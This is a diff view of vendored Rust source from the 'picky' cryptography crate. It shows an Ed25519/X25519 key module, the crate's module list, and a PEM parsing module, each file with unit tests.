assert_eq!(pair.curve(), &NamedEcCurve::Known(EcCurve::NistP256))
|
||||||
|
}
|
||||||
|
}
|
||||||
Vendored
+240
@@ -0,0 +1,240 @@
|
|||||||
|
use crate::key::{KeyError, PrivateKey, PrivateKeyKind, PublicKey};
|
||||||
|
use crate::oid::ObjectIdentifier;
|
||||||
|
|
||||||
|
use picky_asn1::wrapper::BitStringAsn1;
|
||||||
|
use picky_asn1_x509::oids;
|
||||||
|
use std::fmt::Display;
|
||||||
|
use zeroize::Zeroize;
|
||||||
|
|
||||||
|
pub(crate) const X25519_FIELD_ELEMENT_SIZE: usize = 32;
|
||||||
|
pub(crate) type X25519FieldElement = [u8; X25519_FIELD_ELEMENT_SIZE];
|
||||||
|
|
||||||
|
/// Name of supported Curve25519 and Curve448 based algorithms.
|
||||||
|
#[derive(Clone, Copy, Debug, Eq, PartialEq)]
|
||||||
|
pub enum EdAlgorithm {
|
||||||
|
/// Curve25519-based EdDSA algorithm
|
||||||
|
Ed25519,
|
||||||
|
/// Curve25519-based ECDH algorithm (mainly used for jwe key agreement)
|
||||||
|
X25519,
|
||||||
|
// (Unsupported) Ed448 -- Curve448-based EdDSA algorithm
|
||||||
|
// (Unsupported) X448 -- Curve448-based ECDH algorithm (mainly used for jwe key agreement)
|
||||||
|
}
|
||||||
|
|
||||||
|
// Describes Edwards curve-based EC algorithm
|
||||||
|
#[derive(Clone, Debug, Eq, PartialEq)]
|
||||||
|
pub(crate) enum NamedEdAlgorithm {
|
||||||
|
Known(EdAlgorithm),
|
||||||
|
Unsupported(ObjectIdentifier),
|
||||||
|
}
|
||||||
|
|
||||||
|
impl Display for NamedEdAlgorithm {
|
||||||
|
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
|
||||||
|
match self {
|
||||||
|
NamedEdAlgorithm::Known(alg) => write!(f, "{alg}"),
|
||||||
|
NamedEdAlgorithm::Unsupported(oid) => {
|
||||||
|
// We don't support Ed448 and X448 algorithms, but we can still print their named
|
||||||
|
// representation of OID to make errrs more readable.
|
||||||
|
if oid == &oids::ed448() {
|
||||||
|
write!(f, "Ed448")
|
||||||
|
} else if oid == &oids::x448() {
|
||||||
|
write!(f, "X448")
|
||||||
|
} else {
|
||||||
|
let oid: String = oid.into();
|
||||||
|
write!(f, "Unsupported(OID: {oid})")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl Display for EdAlgorithm {
|
||||||
|
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
|
||||||
|
match self {
|
||||||
|
Self::Ed25519 => write!(f, "Ed25519"),
|
||||||
|
Self::X25519 => write!(f, "X25519"),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl From<&'_ ObjectIdentifier> for NamedEdAlgorithm {
|
||||||
|
fn from(value: &'_ ObjectIdentifier) -> Self {
|
||||||
|
let oid: String = value.into();
|
||||||
|
match oid.as_str() {
|
||||||
|
oids::ED25519 => NamedEdAlgorithm::Known(EdAlgorithm::Ed25519),
|
||||||
|
oids::X25519 => NamedEdAlgorithm::Known(EdAlgorithm::X25519),
|
||||||
|
_ => NamedEdAlgorithm::Unsupported(value.clone()),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl From<EdAlgorithm> for ObjectIdentifier {
|
||||||
|
fn from(value: EdAlgorithm) -> Self {
|
||||||
|
match value {
|
||||||
|
EdAlgorithm::Ed25519 => oids::ed25519(),
|
||||||
|
EdAlgorithm::X25519 => oids::x25519(),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl From<NamedEdAlgorithm> for ObjectIdentifier {
|
||||||
|
fn from(value: NamedEdAlgorithm) -> Self {
|
||||||
|
match value {
|
||||||
|
NamedEdAlgorithm::Known(alg) => alg.into(),
|
||||||
|
NamedEdAlgorithm::Unsupported(oid) => oid,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#[derive(Debug)]
|
||||||
|
pub(crate) struct EdKeypair {
|
||||||
|
algorithm: NamedEdAlgorithm,
|
||||||
|
private_key: Vec<u8>,
|
||||||
|
public_key: Option<Vec<u8>>,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl EdKeypair {
|
||||||
|
pub fn algorithm(&self) -> &NamedEdAlgorithm {
|
||||||
|
&self.algorithm
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn secret(&self) -> &[u8] {
|
||||||
|
&self.private_key
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl Drop for EdKeypair {
|
||||||
|
fn drop(&mut self) {
|
||||||
|
self.private_key.zeroize();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl<'a> TryFrom<&'a PrivateKey> for EdKeypair {
|
||||||
|
type Error = KeyError;
|
||||||
|
|
||||||
|
fn try_from(value: &'a PrivateKey) -> Result<Self, Self::Error> {
|
||||||
|
match &value.kind {
|
||||||
|
PrivateKeyKind::Ed {
|
||||||
|
public_key,
|
||||||
|
private_key,
|
||||||
|
algorithm_oid,
|
||||||
|
} => Ok(Self {
|
||||||
|
algorithm: NamedEdAlgorithm::from(algorithm_oid),
|
||||||
|
private_key: private_key.clone(),
|
||||||
|
public_key: public_key.clone(),
|
||||||
|
}),
|
||||||
|
_ => Err(KeyError::ED {
|
||||||
|
context: "Ed keypair cannot be constructed from non-Ed private key".to_string(),
|
||||||
|
}),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#[derive(Debug)]
|
||||||
|
pub(crate) struct EdPublicKey<'a> {
|
||||||
|
data: &'a [u8],
|
||||||
|
algorithm: NamedEdAlgorithm,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl EdPublicKey<'_> {
|
||||||
|
pub fn algorithm(&self) -> &NamedEdAlgorithm {
|
||||||
|
&self.algorithm
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn data(&self) -> &[u8] {
|
||||||
|
self.data
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl<'a> TryFrom<&'a EdKeypair> for EdPublicKey<'a> {
|
||||||
|
type Error = KeyError;
|
||||||
|
|
||||||
|
fn try_from(v: &'a EdKeypair) -> Result<Self, Self::Error> {
|
||||||
|
match v.public_key.as_ref() {
|
||||||
|
Some(key) => Ok(Self {
|
||||||
|
data: key.as_slice(),
|
||||||
|
algorithm: v.algorithm.clone(),
|
||||||
|
}),
|
||||||
|
None => Err(KeyError::ED {
|
||||||
|
context: "Ed public key cannot be constructed from Ed private key without public key".to_string(),
|
||||||
|
}),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl<'a> TryFrom<&'a PublicKey> for EdPublicKey<'a> {
|
||||||
|
type Error = KeyError;
|
||||||
|
|
||||||
|
fn try_from(v: &'a PublicKey) -> Result<Self, Self::Error> {
|
||||||
|
use picky_asn1_x509::PublicKey as InnerPublicKey;
|
||||||
|
|
||||||
|
let oid = v.as_inner().algorithm.oid();
|
||||||
|
|
||||||
|
match &v.as_inner().subject_public_key {
|
||||||
|
InnerPublicKey::Rsa(_) => Err(KeyError::ED {
|
||||||
|
context: "Ed public key cannot be constructed from RSA public key".to_string(),
|
||||||
|
}),
|
||||||
|
InnerPublicKey::Ec(_) => Err(KeyError::ED {
|
||||||
|
context: "Ed public key cannot be constructed from Ec public key".to_string(),
|
||||||
|
}),
|
||||||
|
InnerPublicKey::Ed(BitStringAsn1(bitstring)) => {
|
||||||
|
let data = bitstring.payload_view();
|
||||||
|
|
||||||
|
Ok(EdPublicKey {
|
||||||
|
data,
|
||||||
|
algorithm: NamedEdAlgorithm::from(oid),
|
||||||
|
})
|
||||||
|
}
|
||||||
|
InnerPublicKey::Mldsa(_) => Err(KeyError::ED {
|
||||||
|
context: "Ed public key cannot be constructed from Mldsa public key".to_string(),
|
||||||
|
}),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#[cfg(test)]
|
||||||
|
mod tests {
|
||||||
|
use crate::key::{PrivateKey, PublicKey};
|
||||||
|
use rstest::rstest;
|
||||||
|
|
||||||
|
#[rstest]
|
||||||
|
#[case(picky_test_data::ED25519_PEM_PK_1)]
|
||||||
|
#[case(picky_test_data::X25519_PEM_PK_1)]
|
||||||
|
// Although X448 and ED448 are not supported, we should still be able to decode and encode them
|
||||||
|
#[case(picky_test_data::ED448_PEM_PK_1)]
|
||||||
|
#[case(picky_test_data::X448_PEM_PK_1)]
|
||||||
|
fn private_key_roundtrip(#[case] key_pem: &str) {
|
||||||
|
let decoded = PrivateKey::from_pem_str(key_pem).unwrap();
|
||||||
|
let encoded = decoded.to_pem_str().unwrap();
|
||||||
|
assert_eq!(encoded.as_str(), key_pem);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[rstest]
|
||||||
|
#[case(picky_test_data::ED25519_PEM_PK_1_PUB)]
|
||||||
|
#[case(picky_test_data::X25519_PEM_PK_1_PUB)]
|
||||||
|
// Although X448 and ED448 are not supported, we should still be able to decode and encode them
|
||||||
|
#[case(picky_test_data::ED448_PEM_PK_1_PUB)]
|
||||||
|
#[case(picky_test_data::X448_PEM_PK_1_PUB)]
|
||||||
|
fn public_key_roundtrip(#[case] key_pem: &str) {
|
||||||
|
let decoded = PublicKey::from_pem_str(key_pem).unwrap();
|
||||||
|
let encoded = decoded.to_pem_str().unwrap();
|
||||||
|
assert_eq!(encoded.as_str(), key_pem);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[rstest]
|
||||||
|
#[case(picky_test_data::ED25519_PEM_PK_1, picky_test_data::ED25519_PEM_PK_1_PUB)]
|
||||||
|
#[case(picky_test_data::X25519_PEM_PK_1, picky_test_data::X25519_PEM_PK_1_PUB)]
|
||||||
|
fn extract_public_key(#[case] key_pem: &str, #[case] expected_public_pem: &str) {
|
||||||
|
let private = PrivateKey::from_pem_str(key_pem).unwrap();
|
||||||
|
let public = private.to_public_key().unwrap();
|
||||||
|
let public_expected = PublicKey::from_pem_str(expected_public_pem).unwrap();
|
||||||
|
assert_eq!(public, public_expected);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[rstest]
|
||||||
|
#[case(picky_test_data::ED448_PEM_PK_1)]
|
||||||
|
#[case(picky_test_data::X448_PEM_PK_1)]
|
||||||
|
fn extract_public_key_for_unsupported_algorithm_fails(#[case] key_pem: &str) {
|
||||||
|
let private = PrivateKey::from_pem_str(key_pem).unwrap();
|
||||||
|
assert!(private.to_public_key().is_err());
|
||||||
|
}
|
||||||
|
}
|
||||||
Vendored
+1299
File diff suppressed because it is too large
Load Diff
Vendored
+31
@@ -0,0 +1,31 @@
|
|||||||
|
//! [](https://crates.io/crates/picky)
|
||||||
|
//! [](https://docs.rs/picky)
|
||||||
|
//! 
|
||||||
|
//! # picky
|
||||||
|
//!
|
||||||
|
//! Portable X.509, PKI, JOSE and HTTP signature implementation.
|
||||||
|
|
||||||
|
#[cfg(feature = "http_signature")]
|
||||||
|
pub mod http;
|
||||||
|
|
||||||
|
#[cfg(feature = "jose")]
|
||||||
|
pub mod jose;
|
||||||
|
|
||||||
|
#[cfg(feature = "x509")]
|
||||||
|
pub mod x509;
|
||||||
|
|
||||||
|
#[cfg(feature = "ssh")]
|
||||||
|
pub mod ssh;
|
||||||
|
|
||||||
|
#[cfg(feature = "pkcs12")]
|
||||||
|
pub mod pkcs12;
|
||||||
|
|
||||||
|
#[cfg(feature = "putty")]
|
||||||
|
pub mod putty;
|
||||||
|
|
||||||
|
pub mod hash;
|
||||||
|
pub mod key;
|
||||||
|
pub mod pem;
|
||||||
|
pub mod signature;
|
||||||
|
|
||||||
|
pub use picky_asn1_x509::{AlgorithmIdentifier, oid, oids};
|
||||||
Vendored
+292
@@ -0,0 +1,292 @@
|
|||||||
|
//! Privacy-Enhanced Mail (PEM) format utilities
|
||||||
|
//!
|
||||||
|
//! Based on the RFC-7468
|
||||||
|
//! ([Textual Encodings of PKIX, PKCS, and CMS Structures](https://tools.ietf.org/html/rfc7468)).
|
||||||
|
|
||||||
|
use base64::engine::general_purpose;
|
||||||
|
use base64::{DecodeError, Engine as _};
|
||||||
|
use std::borrow::Cow;
|
||||||
|
use std::fmt;
|
||||||
|
use std::io::BufRead;
|
||||||
|
use std::str::FromStr;
|
||||||
|
use thiserror::Error;
|
||||||
|
|
||||||
|
const PEM_HEADER_START: &str = "-----BEGIN";
|
||||||
|
const PEM_FOOTER_START: &str = "-----END";
|
||||||
|
const PEM_DASHES_BOUNDARIES: &str = "-----";
|
||||||
|
|
||||||
|
#[derive(Debug, Clone, Error)]
|
||||||
|
pub enum PemError {
|
||||||
|
/// header not found
|
||||||
|
#[error("header not found")]
|
||||||
|
HeaderNotFound,
|
||||||
|
|
||||||
|
/// invalid pem header
|
||||||
|
#[error("invalid pem header")]
|
||||||
|
InvalidHeader,
|
||||||
|
|
||||||
|
/// footer not found
|
||||||
|
#[error("footer not found")]
|
||||||
|
FooterNotFound,
|
||||||
|
|
||||||
|
/// couldn't decode base64
|
||||||
|
#[error("couldn't decode base64: {source}")]
|
||||||
|
Base64Decoding { source: DecodeError },
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Privacy-Enhanced Mail (PEM) format structured representation
|
||||||
|
#[derive(Debug, Clone, PartialEq, Eq)]
|
||||||
|
pub struct Pem<'a> {
|
||||||
|
label: String,
|
||||||
|
data: Cow<'a, [u8]>,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl<'a> Pem<'a> {
|
||||||
|
pub fn new<S: Into<String>, D: Into<Cow<'a, [u8]>>>(label: S, data: D) -> Self {
|
||||||
|
Self {
|
||||||
|
label: label.into(),
|
||||||
|
data: data.into(),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn label(&self) -> &str {
|
||||||
|
&self.label
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn data(&self) -> &[u8] {
|
||||||
|
&self.data
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn into_data(self) -> Cow<'a, [u8]> {
|
||||||
|
self.data
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl Pem<'static> {
|
||||||
|
pub fn read_from(reader: &mut impl BufRead) -> Result<Self, PemError> {
|
||||||
|
read_pem(reader)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl FromStr for Pem<'static> {
|
||||||
|
type Err = PemError;
|
||||||
|
|
||||||
|
fn from_str(s: &str) -> Result<Self, Self::Err> {
|
||||||
|
parse_pem(s.as_bytes())
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl fmt::Display for Pem<'_> {
|
||||||
|
fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
|
||||||
|
writeln!(f, "{} {}-----", PEM_HEADER_START, self.label)?;
|
||||||
|
|
||||||
|
let encoded = general_purpose::STANDARD.encode(&self.data);
|
||||||
|
let bytes = encoded.as_bytes();
|
||||||
|
for chunk in bytes.chunks(64) {
|
||||||
|
let chunk = std::str::from_utf8(chunk).map_err(|_| fmt::Error)?;
|
||||||
|
writeln!(f, "{chunk}")?;
|
||||||
|
}
|
||||||
|
|
||||||
|
write!(f, "{} {}-----", PEM_FOOTER_START, self.label)?;
|
||||||
|
|
||||||
|
Ok(())
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl From<Pem<'_>> for String {
|
||||||
|
fn from(pem: Pem<'_>) -> Self {
|
||||||
|
pem.to_string()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Parse a PEM-encoded stream from a [u8] representation
|
||||||
|
///
|
||||||
|
/// If the input contains line ending characters (`\r`, `\n`), a copy of input
|
||||||
|
/// is allocated striping these. If you can strip these with minimal data copy
|
||||||
|
/// you should do it beforehand.
|
||||||
|
pub fn parse_pem<T: ?Sized + AsRef<[u8]>>(input: &T) -> Result<Pem<'static>, PemError> {
|
||||||
|
parse_pem_impl(input.as_ref())
|
||||||
|
}
|
||||||
|
|
||||||
|
fn parse_pem_impl(input: &[u8]) -> Result<Pem<'static>, PemError> {
|
||||||
|
let header_start_idx = h_find(input, PEM_HEADER_START.as_bytes()).ok_or(PemError::HeaderNotFound)?;
|
||||||
|
|
||||||
|
let label_start_idx = header_start_idx + PEM_HEADER_START.len();
|
||||||
|
let label_end_idx = h_find(&input[label_start_idx..], b"-").ok_or(PemError::InvalidHeader)? + label_start_idx;
|
||||||
|
let label = String::from_utf8_lossy(&input[label_start_idx..label_end_idx])
|
||||||
|
.trim()
|
||||||
|
.to_owned();
|
||||||
|
|
||||||
|
let header_end_idx = h_find(&input[label_end_idx..], PEM_DASHES_BOUNDARIES.as_bytes())
|
||||||
|
.ok_or(PemError::InvalidHeader)?
|
||||||
|
+ label_end_idx
|
||||||
|
+ PEM_DASHES_BOUNDARIES.len();
|
||||||
|
|
||||||
|
let footer_start_idx =
|
||||||
|
h_find(&input[header_end_idx..], PEM_FOOTER_START.as_bytes()).ok_or(PemError::FooterNotFound)? + header_end_idx;
|
||||||
|
|
||||||
|
let raw_data = &input[header_end_idx..footer_start_idx];
|
||||||
|
|
||||||
|
let data = if h_find(raw_data, b"\n").is_some() {
|
||||||
|
// Line ending characters should be striped... Sadly, this means we need to copy and allocate.
|
||||||
|
let striped_raw_data: Vec<u8> = raw_data
|
||||||
|
.iter()
|
||||||
|
.copied()
|
||||||
|
.filter(|&byte| byte != b'\r' && byte != b'\n')
|
||||||
|
.collect();
|
||||||
|
general_purpose::STANDARD
|
||||||
|
.decode(striped_raw_data)
|
||||||
|
.map_err(|source| PemError::Base64Decoding { source })?
|
||||||
|
} else {
|
||||||
|
// Can be decoded as is!
|
||||||
|
general_purpose::STANDARD
|
||||||
|
.decode(raw_data)
|
||||||
|
.map_err(|source| PemError::Base64Decoding { source })?
|
||||||
|
};
|
||||||
|
|
||||||
|
Ok(Pem {
|
||||||
|
label,
|
||||||
|
data: Cow::Owned(data),
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
fn h_find(buffer: &[u8], value: &[u8]) -> Option<usize> {
|
||||||
|
buffer.windows(value.len()).position(|window| window == value)
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Parse a PEM-encoded stream from a BufRead object.
|
||||||
|
///
|
||||||
|
/// Maybe slower than the AsRef<[u8]>-based implementation because additional copies are incurred,
|
||||||
|
/// but in most cases it's probably easier to work with and not that bad anyway.
|
||||||
|
pub fn read_pem(reader: &mut impl BufRead) -> Result<Pem<'static>, PemError> {
|
||||||
|
let mut buf = Vec::with_capacity(1024);
|
||||||
|
|
||||||
|
// skip until start of header
|
||||||
|
h_read_until(reader, PEM_HEADER_START.as_bytes(), &mut buf).ok_or(PemError::HeaderNotFound)?;
|
||||||
|
buf.clear();
|
||||||
|
|
||||||
|
// read until end of header
|
||||||
|
h_read_until(reader, PEM_DASHES_BOUNDARIES.as_bytes(), &mut buf).ok_or(PemError::InvalidHeader)?;
|
||||||
|
let buf_utf8 = core::str::from_utf8(&buf).map_err(|_| PemError::InvalidHeader)?;
|
||||||
|
let label = buf_utf8.trim_end_matches(PEM_DASHES_BOUNDARIES).trim().to_owned();
|
||||||
|
buf.clear();
|
||||||
|
|
||||||
|
// read to footer
|
||||||
|
h_read_until(reader, PEM_FOOTER_START.as_bytes(), &mut buf).ok_or(PemError::FooterNotFound)?;
|
||||||
|
let base64_data: Vec<u8> = h_trim_end_matches(&buf, PEM_FOOTER_START.as_bytes())
|
||||||
|
.iter()
|
||||||
|
.cloned()
|
||||||
|
.filter(|&byte| byte != b'\r' && byte != b'\n')
|
||||||
|
.collect();
|
||||||
|
let data = general_purpose::STANDARD
|
||||||
|
.decode(base64_data)
|
||||||
|
.map_err(|source| PemError::Base64Decoding { source })?;
|
||||||
|
|
||||||
|
// read until end of footer
|
||||||
|
h_read_until(reader, PEM_DASHES_BOUNDARIES.as_bytes(), &mut buf).ok_or(PemError::FooterNotFound)?;
|
||||||
|
|
||||||
|
Ok(Pem {
|
||||||
|
label,
|
||||||
|
data: Cow::Owned(data),
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
// Helper to read until some pattern is matched. Returns None on any error
|
||||||
|
// (cannot be copy pasted for any purpose and should stay private!).
|
||||||
|
fn h_read_until(reader: &mut impl BufRead, pat: &[u8], buf: &mut Vec<u8>) -> Option<usize> {
|
||||||
|
let mut read = 0;
|
||||||
|
let first_delim = *pat.first()?;
|
||||||
|
'outer: loop {
|
||||||
|
read += reader.read_until(first_delim, buf).ok()?;
|
||||||
|
|
||||||
|
for &next_delim in &pat[1..] {
|
||||||
|
let mut next = [0];
|
||||||
|
reader.read_exact(&mut next).ok()?;
|
||||||
|
buf.push(next[0]);
|
||||||
|
read += 1;
|
||||||
|
|
||||||
|
if next[0] != next_delim {
|
||||||
|
continue 'outer;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
break Some(read);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Helper to trim trailing characters matching the given pattern for bytes slice
|
||||||
|
fn h_trim_end_matches<'a>(slice: &'a [u8], pat: &[u8]) -> &'a [u8] {
|
||||||
|
for (&slice_elem, &pat_elem) in slice.iter().rev().zip(pat.iter().rev()) {
|
||||||
|
if slice_elem != pat_elem {
|
||||||
|
return slice; // pattern doesn't match, return all the slice
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// pattern did match, return sub-slice
|
||||||
|
&slice[..slice.len() - pat.len()]
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Build a PEM-encoded structure into a String.
|
||||||
|
pub fn to_pem<S, T>(label: S, data: &T) -> String
|
||||||
|
where
|
||||||
|
S: Into<String>,
|
||||||
|
T: ?Sized + AsRef<[u8]>,
|
||||||
|
{
|
||||||
|
Pem::new(label, data.as_ref()).to_string()
|
||||||
|
}
|
||||||
|
|
||||||
|
#[cfg(test)]
|
||||||
|
mod tests {
|
||||||
|
use super::*;
|
||||||
|
use std::io::BufReader;
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn parse() {
|
||||||
|
let pem_from_bytes = parse_pem(picky_test_data::PEM_BYTES).unwrap();
|
||||||
|
assert_eq!(pem_from_bytes.label, "CERTIFICATE");
|
||||||
|
|
||||||
|
let pem_from_str = picky_test_data::PEM_STR.parse::<Pem>().unwrap();
|
||||||
|
pretty_assertions::assert_eq!(pem_from_bytes, pem_from_str);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn reader_based() {
|
||||||
|
let mut reader = BufReader::new(picky_test_data::PEM_BYTES);
|
||||||
|
|
||||||
|
let pem_from_reader = read_pem(&mut reader).unwrap();
|
||||||
|
assert_eq!(pem_from_reader.label, "CERTIFICATE");
|
||||||
|
|
||||||
|
let pem_from_str = picky_test_data::PEM_STR.parse::<Pem>().unwrap();
|
||||||
|
pretty_assertions::assert_eq!(pem_from_reader, pem_from_str);
|
||||||
|
}
|
||||||
|
|
||||||
|
// This test should not run on Windows. writeln! add `/r` ending character to Pem in String format on Windows targets.
|
||||||
|
#[cfg(not(windows))]
|
||||||
|
#[test]
|
||||||
|
fn to_string() {
|
||||||
|
let pem = picky_test_data::PEM_STR.parse::<Pem>().unwrap();
|
||||||
|
let reconverted_pem = pem.to_string();
|
||||||
|
pretty_assertions::assert_eq!(reconverted_pem, picky_test_data::PEM_STR);
|
||||||
|
}
|
||||||
|
|
||||||
|
const FLATTENED_PEM: &str = "-----BEGIN GARBAGE-----R0FSQkFHRQo=-----END GARBAGE-----";
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn flattened() {
|
||||||
|
FLATTENED_PEM.parse::<Pem>().unwrap();
|
||||||
|
read_pem(&mut BufReader::new(FLATTENED_PEM.as_bytes())).unwrap();
|
||||||
|
}
|
||||||
|
|
||||||
|
const MULTIPLE_PEM: &str = "-----BEGIN GARBAGE1-----R0FSQkFHRQo=-----END GARBAGE1-----\
|
||||||
|
-----BEGIN GARBAGE2-----R0FSQkFHRQo=-----END GARBAGE2-----";
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn multiple() {
|
||||||
|
// reading multiple PEM from some bytes stream is easier with read-based API
|
||||||
|
let mut reader = BufReader::new(MULTIPLE_PEM.as_bytes());
|
||||||
|
let pem1 = read_pem(&mut reader).unwrap();
|
||||||
|
assert_eq!(pem1.label, "GARBAGE1");
|
||||||
|
let pem2 = read_pem(&mut reader).unwrap();
|
||||||
|
assert_eq!(pem2.label, "GARBAGE2");
|
||||||
|
}
|
||||||
|
}
|
||||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user